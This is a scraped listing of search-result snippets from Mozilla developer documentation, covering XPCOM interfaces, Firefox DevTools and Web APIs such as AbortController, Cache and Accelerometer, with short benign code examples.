, in boolean newvalue); void notifypropertyflagchanged(in nsimsgdbhdr item, in nsiatom property, in unsigned long oldvalue, in unsigned long newvalue); void notifyunicharpropertychanged(in nsiatom property, in astring oldvalue, in astring newvalue); void notifyitemadded(in nsisupports item); void notifyitemremoved(in nsisupports item); void notifyfolderevent(in nsiatom event); void listdescendents(in nsisupportsarray descendents); void shutdown(in boolean shutdownchildren); void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); vo...
... in unsigned long newvalue); notifyunicharpropertychanged() void notifyunicharpropertychanged(in nsiatom property, in astring oldvalue, in astring newvalue); notifyitemadded() void notifyitemadded(in nsisupports item); notifyitemremoved() void notifyitemremoved(in nsisupports item); notifyfolderevent() void notifyfolderevent(in nsiatom event); listdescendents() ists all descendents, not just first level children.
nsIMsgSendLater
void sendunsentmessages(in nsimsgidentity identity) parameters identity the nsimsgidentity to send unsent messages for removelistener() remove an event listener from this nsisendmsglater instance void removelistener(in nsimsgsendlaterlistener listener); parameters listener the nsimsgsendlaterlistener to remove.
... addlistener() add an event listener to this nsisendmsglater instance.
nsINavHistoryResultObserver
toolkit/components/places/nsinavhistoryservice.idlscriptable lets clients observe changes to a result as the result updates itself according to bookmark and history system events.
...the observer can then pause updates or events until the batch is completed, so that it won't handle the large number of updates that are about to be notified.
nsINavHistoryResultTreeViewer
1.0 66 introduced gecko 1.8 inherits from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3) this object removes itself from the associated result when the tree is detached; this prevents circular references.
...this prevents you from seeing multiple entries for things when you have selected to get visits.
Component; nsIPrefBranch
interfaces currently supported are: nsilocalfile nsisupportsstring (unichar) (removed as of gecko 58 in favor of getstringpref) nsipreflocalizedstring (localized unichar) nsifilespec (deprecated - to be removed eventually) avalue the xpcom object into which to the complex preference value should be retrieved.
...interfaces currently supported are: nsilocalfile nsisupportsstring (unichar) (removed as of gecko 58 in favor of setstringpref) nsipreflocalizedstring (localized unichar) nsifilespec (deprecated - to be removed eventually) avalue the xpcom object from which to set the complex preference value.
nsISHistoryListener
the listener can prevent any action (except adding a new session history entry) from happening by returning false from the corresponding callback method.
...entries can be removed from session history for various reasons; for example to control the browser's memory usage, to prevent users from loading documents from history, to erase evidence of prior page loads, etc.
nsIScreen
lockminimumbrightness() locks the minimum brightness of the screen, preventing it from becoming any dimmer than that brightness level.
... each call to this method must eventually be followed by a corresponding call to unlockminimumbrightness() with the same value for the brightness parameter.
nsIServerSocket
the listener's onsocketaccepted() method will be called on the same thread that called asynclisten() (the calling thread must have an nsieventtarget).
...this will cause the onstoplistening event to asynchronously fire with a status of ns_binding_aborted.
nsISocketTransport
completion of the connection setup is indicated by a status_connected_to notification to the event sink (if set).
... nsitransporteventsink status codes note: although these constants look like xpcom error codes and are passed in an nsresult variable, they are not error codes.
nsISpeculativeConnect
method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon.
...void speculativeconnect( in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget ); parameters auri the uri of the hinted transaction.
nsITelemetry
n astring akey, in jsval avalue); void keyedscalarset(in acstring aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkeyedscalars(in uint32_t adataset, [optional] in boolean aclear); void clearscalars(); test only void flushbatchedchildtelemetry(); void recordevent(in acstring acategory, in acstring amethod, in acstring aobject, [optional] in jsval avalue, [optional] in jsval extra); void seteventrecordingenabled(in acstring acategory, in boolean aenabled); jsval snapshotevents(in uint32_t adataset, [optional] in boolean aclear); void registerevents(in acstring acategory, in jsval aeventdata); void registerscalars(in acst...
...ring acategoryname, in jsval ascalardata); void clearevents(); test only attributes attribute type description canrecordbase boolean a flag indicating if telemetry can record base data (fhr data).
nsITreeBoxObject
prevents scrolling off the end of the tree.
...this method prevents scrolling off the end of the tree.
nsITreeSelection
selecteventssuppressed boolean this attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods.
... note: setting this attribute to false will fire a select event.
nsITreeView
return value true if a drop event can occur.
... return value true if a drop event can occur.
nsIWebSocketListener
netwerk/protocol/websocket/nsiwebsocketlistener.idlscriptable implement this interface to receive websocket traffic events asynchronously after calling nsiwebsocketchannel.asyncopen().
...this event can be received in error cases even if nsiwebsocketchannel.close() has not been called.
nsIWindowWatcher
void registernotification( in nsiobserver aobserver ); parameters note: be careful about generating open/close window events inside nsiobserver.observe().
... for example the following code will block the system because it will open windows continuously: function mywindowobserver() { this.observe=function(asubject, atopic, adata) { alert("window event: " + atopic) //and this is where the bugs origins because opening this alert will cause a window-open //event and the call of this method again (forever) } } var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); ww.registernotification(new mywindowobserver()) alert("") //generate the first window-open event aobserver the nsiobserver to be notified when windows are opened or closed.
nsIWorkerGlobalScope
onerror nsidomeventlistener self nsiworkerglobalscope returns the global scope object itself.
... see also using web workers nsiworkermessageport nsiworkermessageevent nsiworkerscope nsiabstractworker nsiworker ...
nsIWorkerMessagePort
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void postmessage(in domstring amessage); methods postmessage() posts a message into the event queue.
... see also using web workers nsiworkermessageevent nsiworkerglobalscope nsiworkerscope nsiabstractworker nsiworker ...
Reference Manual
to help prevent this, we are trying to make the first form, above, illegal by making operator& private.
...the case using the temporary, however, uses construction to put the value into the nscomptr, which (though slightly more complicated in source) is more efficient than default construction followed by assignment, the course of events followed by the simpler example.
Xray vision
for example: the detail property of a customevent fired by content could be a javascript object or date as well as a string or a primitive the return value of evalinsandbox() and any properties attached to the sandbox object may be pure javascript objects also, the webidl specifications are starting to use javascript types such as date and promise: since webidl definition is the basis of dom xrays, not having xrays for these javascript types ...
... if a script has created a property on an object instance that shadows a property on the prototype, the shadowing property is not visible in the xray second, we want to prevent the chrome code from running content code, so functions and accessor properties of the object are not visible in the xray.
Mail client architecture overview
the mail reader gecko (xul and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services.
... events - as data changes throughout the mail application, the event system notifies key components such as datasources and the url system of these changes.
Access Window
you can do many things with the window object, such as accessing the height or width of the window/tab or setting its title, registering timer events and much more.
... check if the window is a tab or the root window window.addeventlistener("load", function(e) { alert("is root?: " + isroot()); }, false); function isroot() { if(window != window.top) return "false"; else return "true"; } the example above tells you if the window object is a reference of the application window or of one of it is a tabs.
customDBHeaders Preference
serve: function(amsgfolder, atopic, adata) { dump("here here!"); addcustomcolumnhandler(); } } function doonceloaded(){ var observerservice = components.classes["@mozilla.org/observer-service;1"].getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(createdbobserver, "msgcreatedbview", false); window.document.getelementbyid('foldertree').addeventlistener("select",addcustomcolumnhandler,false); } window.addeventlistener("load",doonceloaded,false); dump(" ~ ~ ~ ~ end superfluous ~ ~ ~ ~ \n"); important be aware that only messages that are added to the .msf database after the customdbheaders pref is set will have the corresponding string property set on the msghdr.
... the attaching of the column handler through the observerservice object is some pretty new stuff, so i was using the addeventlistener("select"...) stuff as a backup.
Plug-in Basics - Plugins
with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
...plug-ins are embedded in much the same way as gif or jpeg images are, except that a plug-in can be live and respond to user events, such as mouse clicks.
Streams - Plugins
all npp_write calls for streaming data eventually stop, and npp_write calls will be completed only for data requested with npn_requestread.
... int32 npn_write(npp instance, npstream *stream, int32 len, void *buf); the plug-in should terminate the stream by calling npn_destroystream, when all data has been written to the stream, or in the event of an error.
Browser Console - Firefox Developer Tools
this example here makes it so that when you mouse over the "clear" button it will clear the browser console: components.utils.import("resource://devtools/shared/loader.jsm"); var hudservice = devtools.require("devtools/client/webconsole/hudservice"); var hud = hudservice.getbrowserconsole(); var clearbtn = hud.chromewindow.document.queryselector('.webconsole-clear-console-button'); clearbtn.addeventlistener('mouseover', function() { hud.jsterm.clearoutput(true); }, false); bonus features available for add-on sdk add-ons, the console api is available automatically.
...try running this code in the browser console's command line (remember that to send multiple lines to the browser console, use shift+enter): var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.selectedtab); newtabbrowser.addeventlistener("load", function() { newtabbrowser.contentdocument.body.innerhtml = "<h1>this page has been eaten</h1>"; }, true); newtabbrowser.contentdocument.location.href = "https://mozilla.org/"; it adds a listener to the currently selected tab's load event that will eat the new page, then loads a new page.
Access debugging in add-ons - Firefox Developer Tools
the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded.
... window.addeventlistener("debugger:editorunloaded") relevant files: chrome://browser/content/devtools/debugger-controller.js chrome://browser/content/devtools/debugger-toolbar.js chrome://browser/content/devtools/debugger-view.js chrome://browser/content/devtools/debugger-panes.js unfortunately there is not yet any api to evaluate watches/expressions within the debugged scope, or highlight elements on the page that are referenced as variables in the debugged scope.
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
the event handler should add some text to the end of the page.
... the (root) node's count includes objects allocated in the content page by the web browser, like dom events.
Network request list - Firefox Developer Tools
starting in firefox 45, the timeline also contains two vertical lines: the blue line marks the point at which the page's domcontentloaded event is triggered.
... the red line marks the point at which the page's load event is triggered.
Examine and edit HTML - Firefox Developer Tools
now children are indicated in the tree with this icon: at the right side of some nodes there are markers shown indicating different pieces of information related to it: event the element has one or several event listeners attached to it.
... clicking the marker opens a tooltip listing the event listeners and allows you for each listener to switch to the line of javascript code in the debugger where the listener is defined.
Use the Inspector API - Firefox Developer Tools
bindable events using on: markuploaded called when the left panel has been refreshed, after page change.
... layout-change "low-priority change event for things like paint and resize." ...
Paint Flashing Tool - Firefox Developer Tools
whenever an event happens that might change a visible part of the web page then the browser must repaint some portion of the page.
...that's where the paint flashing tool helps: by showing you the areas that the browser repaints in response to an event, you can see whether it is repainting more than it needs to.
AbortController.AbortController() - Web APIs
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbortController.abort() - Web APIs
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbortController.signal - Web APIs
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbortController - Web APIs
this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbstractWorker - Web APIs
event handlers abstractworker.onerror an eventlistener which is invoked whenever an errorevent of type error bubbles through the worker.
...this code assumes that there's an <input> element represented by first; an event handler for the change event is established so that when the user changes the value of first, a message is posted to the worker to let it know.
Accelerometer.x - Web APIs
WebAPIAccelerometerx
example acceleration is typically read in the sensor.onreading event callback.
... let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Accelerometer.y - Web APIs
WebAPIAccelerometery
example acceleration is typically read in the sensor.onreading event callback.
... let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Accelerometer.z - Web APIs
WebAPIAccelerometerz
example acceleration is typically read in the sensor.onreading event callback.
... let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Accelerometer - Web APIs
example acceleration is typically read in the sensor.onreading event callback.
... let acl = new accelerometer({frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
AnalyserNode - Web APIs
this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...e="#d4dde4"/><a xlink:href="/docs/web/api/analysernode" target="_top"><rect x="281" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">analysernode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor analysernode() creates a new instance of an analysernode object.
Animation.pause() - Web APIs
WebAPIAnimationpause
e paused manually if you want to avoid that: // animation of the cupcake slowly getting eaten up var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actually need to be eaten until a click event, so pause it initially: nommingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); nommingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations.
... cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.play() - Web APIs
WebAPIAnimationplay
two animation.play()s, one eventlistener: // the cake has its own animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play immediately.
...cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.playbackRate - Web APIs
bottle.addeventlistener("mousedown", shrinkalice, false); bottle.addeventlistener("touchstart", shrinkalice, false); contrariwise, clicking on the cake causes her to "grow," playing alicechange forwards again: var growalice = function() { alicechange.playbackrate = 1; alicechange.play(); } // on tap or click, alice will grow.
... cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); in another example, the red queen's race game, alice and the red queen are constantly slowing down: setinterval( function() { // make sure the playback rate never falls below .4 if (redqueen_alice.playbackrate > .4) { redqueen_alice.playbackrate *= .9; } }, 3000); but clicking or tapping on them causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.playbackrate *= 1.1; } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); specifications specification status comment web animationsthe definition of 'animation.playbackrate' in that specification.
Attr - Web APIs
WebAPIAttr
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..." y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/attr" target="_top"><rect x="266" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the console.
AudioContext.createMediaElementSource() - Web APIs
ce = audioctx.createmediaelementsource(myaudio); // create a gain node var gainnode = audioctx.creategain(); // create variables to store mouse pointer y coordinate // and height of screen var cury; var height = window.innerheight; // get new mouse pointer coordinates when mouse is moved // then set new gain value document.onmousemove = updatepage; function updatepage(e) { cury = (window.event) ?
... e.pagey : event.clienty + (document.documentelement.scrolltop ?
AudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...e="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor audiocontext() creates and returns a new audiocontext object.
AudioWorkletProcessor.process - Web APIs
the values of the array are calculated by taking scheduled automation events into consideration.
...if an uncaught error is thrown, the node will emit an onprocessorerror event and will output silence for the rest of its lifetime.
BaseAudioContext.createStereoPanner() - Web APIs
we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
...document.queryselector('audio'); var pancontrol = document.queryselector('.panning-control'); var panvalue = document.queryselector('.panning-value'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a stereo panner var pannode = audioctx.createstereopanner(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the contr...
Bluetooth.onavailabilitychanged - Web APIs
the onavailabilitychanged property of the bluetooth interface is an eventhandler that processes availabilitychanged events that fire when the bluetooth system as a whole becomes available or unavailable to the user agent.
... syntax bluetooth.onavailabilitychanged = functionref; value functionref is the handler function to be called when the bluetooth availabilitychanged event fires.
Body.text() - Web APIs
WebAPIBodytext
example in our fetch text example (run fetch text live), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give each one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked.
... let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment ...
Broadcast Channel API - Web APIs
receiving a message when a message is posted, a message event is dispatched to each broadcastchannel object connected to this channel.
... a function can be run for this event with the onmessage event handler: // a handler that only logs the event to the console: bc.onmessage = function (ev) { console.log(ev); } disconnecting a channel to leave a channel, call the close() method on the object.
CDATASection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...="#d4dde4"/><a xlink:href="/docs/web/api/cdatasection" target="_top"><rect x="391" y="65" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="451" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cdatasection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no specific properties and implements those of its parent text.
CSS Font Loading API - Web APIs
the css font loading api provides events and interfaces for dynamically loading font resources.
... fontfacesetloadevent fired whenever a fontfaceset loads.
Cache.add() - Web APIs
WebAPICacheadd
the response status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then calls waituntil() to handle the install process for the app.
... this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add('/sw-test/index.html'); }) ); }); specifications specification status comment service workersthe definition of 'cache: add' in that specification.
Cache.addAll() - Web APIs
WebAPICacheaddAll
the response status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then runs waituntil() to handle the install process for the app.
... this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'cache: addall' in that specification.
Cache.put() - Web APIs
WebAPICacheput
here we wait for a fetchevent to fire.
... var response; var cachedresponse = caches.match(event.request).catch(function() { return fetch(event.request); }).then(function(r) { response = r; caches.open('v1').then(function(cache) { cache.put(event.request, response); }); return response.clone(); }).catch(function() { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); specifications specification status comment service workersthe definiti...
CacheStorage.delete() - Web APIs
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
... this.addeventlistener('activate', function(event) { var cachestokeep = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachestokeep.indexof(key) === -1) { return caches.delete(key); } })); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: delete' in that specification.
CacheStorage.keys() - Web APIs
WebAPICacheStoragekeys
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
... then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachewhitelist.indexof(key) === -1) { return caches.delete(key); } }); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: keys' in that specification.
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
here we wait for an installevent to fire, then runs waituntil() to handle the install process for the app.
... self.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); specifications specification status comment service workersthe definition of 'cachestorage: open' in that specification.
Basic usage of canvas - Web APIs
r ctx = canvas.getcontext('2d'); } } </script> <style type="text/css"> canvas { border: 1px solid black; } </style> </head> <body onload="draw();"> <canvas id="tutorial" width="150" height="150"></canvas> </body> </html> the script includes a function called draw(), which is executed once the page finishes loading; this is done by listening for the load event on the document.
... this function, or one like it, could also be called using window.settimeout(), window.setinterval(), or any other event handler, as long as the page has been loaded first.
Using images - Web APIs
so you need to be sure to use the load event so you don't try this before the image has loaded: var img = new image(); // create new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever.
...in this example, we're only using one image, so i use the image object's load event handler to execute the drawing statements.
CharacterData - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..."#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, node, and implements the childnode and nondocumenttypechildnode interface.
Clients.openWindow() - Web APIs
in firefox, the method is allowed to show popups only when called as the result of a notification click event.
... examples // send notification to os if applicable if (self.notification.permission === 'granted') { const notificationobject = { body: 'click here to view your messages.', data: { url: self.location.origin + '/some/path' }, // data: { url: 'http://example.com' }, }; self.registration.shownotification('you\'ve got messages!', notificationobject); } // notification click event listener self.addeventlistener('notificationclick', e => { // close the notification popout e.notification.close(); // get all the window clients e.waituntil(clients.matchall({ type: 'window' }).then(clientsarr => { // if a window tab matching the targeted url already exists, focus that; const hadwindowtofocus = clientsarr.some(windowclient => windowclient.url === e.notification.d...
Clipboard - Web APIs
WebAPIClipboard
methods clipboard is based on the eventtarget interface, and includes its methods.
... specifications specification status comment clipboard api and eventsthe definition of 'clipboard' in that specification.
Comment - Web APIs
WebAPIComment
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
